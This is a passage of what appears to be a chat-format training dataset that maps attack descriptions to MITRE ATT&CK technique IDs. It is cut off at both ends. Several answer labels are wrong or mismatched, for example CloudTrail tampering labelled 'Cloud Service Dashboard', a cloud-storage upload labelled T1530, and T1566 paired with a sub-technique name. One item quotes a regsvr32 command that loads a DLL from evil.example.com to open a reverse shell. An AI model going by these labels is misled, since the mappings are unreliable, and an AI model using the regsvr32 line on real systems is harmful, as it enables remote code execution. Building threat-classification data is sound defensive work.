                "content": "Attacker runs ‘whoami /all’ to list the group memberships and privileges of the current user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor abuses the Windows Clipboard as an inter‑process communication channel to steal copied passwords from a privileged session."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor searches the victim company's LinkedIn pages and employee bios to pinpoint individuals who serve as system administrators, finance officers, and other high‑privilege roles."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign exploits an XPC service vulnerability to execute arbitrary shell commands in the context of the system user."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool performs DLL injection by patching the target process's import table to point to a malicious library."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan utilizes the Simple Network Management Protocol (SNMP) to receive instructions, disguising its traffic as legitimate network management operations."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A user is tricked into executing a binary that escalates privileges using the SetProcessToken API."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker repeatedly sends malformed HTTP requests to a web application, exhausting its resources and causing the service to become unavailable."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor used the Services.exe file that had overly permissive ACLs to install a custom service that runs elevated commands."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employed regsvr32 /i:http://evil.example.com/evil.dll /s to load a malicious COM component that establishes a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware executes the Linux command \"ps -aux\" to enumerate currently running processes for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group uses a tool to dump Securityd's RAM, retrieving saved Wi‑Fi and email credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker steals the NTDS.dit file by abusing the Volume Shadow Copy Service and then parses it for user credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider used privileged Azure AD application permissions to modify scale sets, increasing the number of instances for data harvesting."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor reads /proc/*/cmdline and environment variables of privileged processes to capture clear‑text passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "External hacker injects malicious HTML into a compromised web server, altering displayed content."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a LaunchAgent entry that runs a script whenever the screensaver is activated."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant stores SSH private keys in a hidden Registry subkey to persist credentials on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker encodes stolen files using Base64 before exfiltrating them over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages a vulnerable serverless API endpoint in IBM Cloud Functions to execute a payload that exfiltrates data from storage buckets."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber espionage group acquires a virtual server in a high‑security zone to host data exfiltration tools."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker swaps the original DLL of a banking app with a malicious copy that captures credentials."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrated data by uploading it to a maliciously created Google Cloud Storage bucket under the victim's account."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder used a compromised AWS console session to disable CloudTrail logging and hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder performed a container escape by exploiting a vulnerable Docker socket, allowing execution of commands on the host."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code monitors the outbound bandwidth quota and throttles uploads to remain below the 2 MB limit."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries public vulnerability databases such as NVD and Exploit-DB to find known CVEs for the target software."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware copied the legitimate \"cmd.exe\" binary, renamed it to \"system32.exe\", and executed it to blend in with standard system processes."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installs a VNC server and uses it to remotely access compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script performs a directory sync request to gather all domain user objects via the SMB protocol."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber attackers use the cloud service's snapshot rollback feature to revert a virtual machine, removing inserted backdoors."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a custom Terminal Services DLL on the target host and registers it as a server component to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing tool stores its malicious payload in the Windows Clipboard and launches it via a memory‑resident process."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining the SSH password via phishing, the adversary logs into the target's Linux host and continues the existing user session without alerting the user."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Alters the contents of a compressed archive during download to replace benign files with malicious ones."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates and exfiltrates credentials from the Windows Credential Locker."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker clears the Windows Defender threat history and removes related indicator files to hide their malware activity."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker initiates a rapid succession of process creation requests on a Windows server, leading to resource exhaustion and a denial of service at the endpoint level."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a custom DLL that is mapped into memory with a reflective loader, bypassing traditional DLL search order and disk writes."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage the built‑in mmc.exe binary to load malicious libraries, achieving system binary proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A social engineering call convinced an employee to disclose their Active Directory credentials, which were then used for initial login."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a PowerShell script, the threat actor clears the syslog files on a Linux box by writing empty strings to them."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence technique: editing the $PROFILE variable to include a call to a hidden PowerShell script that exfiltrates data."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An incident report described the use of stolen Kerberos tickets to authenticate to high-value servers without the need for passwords."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor creates a new domain trust relationship with a compromised external domain to facilitate lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used the Windows Command Shell to execute a PowerShell one-liner through \"cmd /c powershell -EncodedCommand ...\"."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses custom tooling to pull Docker daemon logs in order to discover container runtime errors."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group develops a remote exploit for an IoT device to gain initial access in future operations."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group creates a fake login portal on a cloned corporate site to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Group X performs Windows Remote Management (WinRM) session hijacking to execute PowerShell scripts remotely."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker utilizes Windows RDP to log into the server and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages macOS XPC services to execute malicious code in another process, achieving inter-process communication for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performed a supply chain compromise by hijacking the code signing certificate of a software vendor and signing malicious updates."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors collect publicly shared calendar events from social media to infer meeting schedules and possible physical access windows."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised PowerPoint template contains a macro that executes commands as soon as the file is opened by a victim."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom VNC payload, the attacker executed commands on the victim's system via the graphical interface."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor hijacks a federated identity provider used by the victim organization and issues malicious authentication tokens to infiltrate internal systems."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through OSINT techniques, the hacker finds the victim's online blogs and corporate site URLs via search queries."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs Dynamic Data Exchange to communicate with a trusted system process, achieving privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reversed engineered the provider's CLI tool to automate the provisioning of a hidden cloud account with administrator rights."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilized a scheduled task that calls \"cmd.exe /c\" to run a persistence script at startup."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages Shodan to locate internet-facing devices belonging to the target organization."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compresses collected files into a zip archive before moving them to the exfiltration server."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code registers a new CLSID under HKCR\\CLSID and then calls CoGetClassObject from a different process to exchange information."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employed a third‑party FTP library within a PowerShell script to upload log files for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries encrypt command-and-control traffic with custom XOR encoding to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker mimics legitimate Kerberos authentication packets, embedding malicious data within the protocol to avoid triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Insider with valid employee account logs into privileged admin console to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a stolen admin cookie, the threat actor modified the site’s front page to display a propaganda banner."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilizes improperly secured LDAP servers to send reflection requests with a spoofed source IP, causing large LDAP responses to be sent to the victim, overwhelming their network."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary searches public exploit databases for zero‑day vulnerabilities and then downloads the exploit code to use against target systems."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits the system's dynamic linker by injecting a counterfeit library via a vulnerable application, achieving execution control."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a compromised third‑party vendor's remote access tool to infiltrate the victim organization’s network."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker registers a non‑standard password filter DLL via the Security Accounts Manager to silently change passwords for targeted accounts."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder utilizes a compromised container image with embedded malware, launching it via 'docker run' to execute a command-and-control client."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor purchases a private SOCKS5 proxy and updates the payload to point to that proxy for all outbound traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used a compromised API key to change stored webhook URLs, redirecting notifications to an external server."
            },
            {
                "role": "assistant",
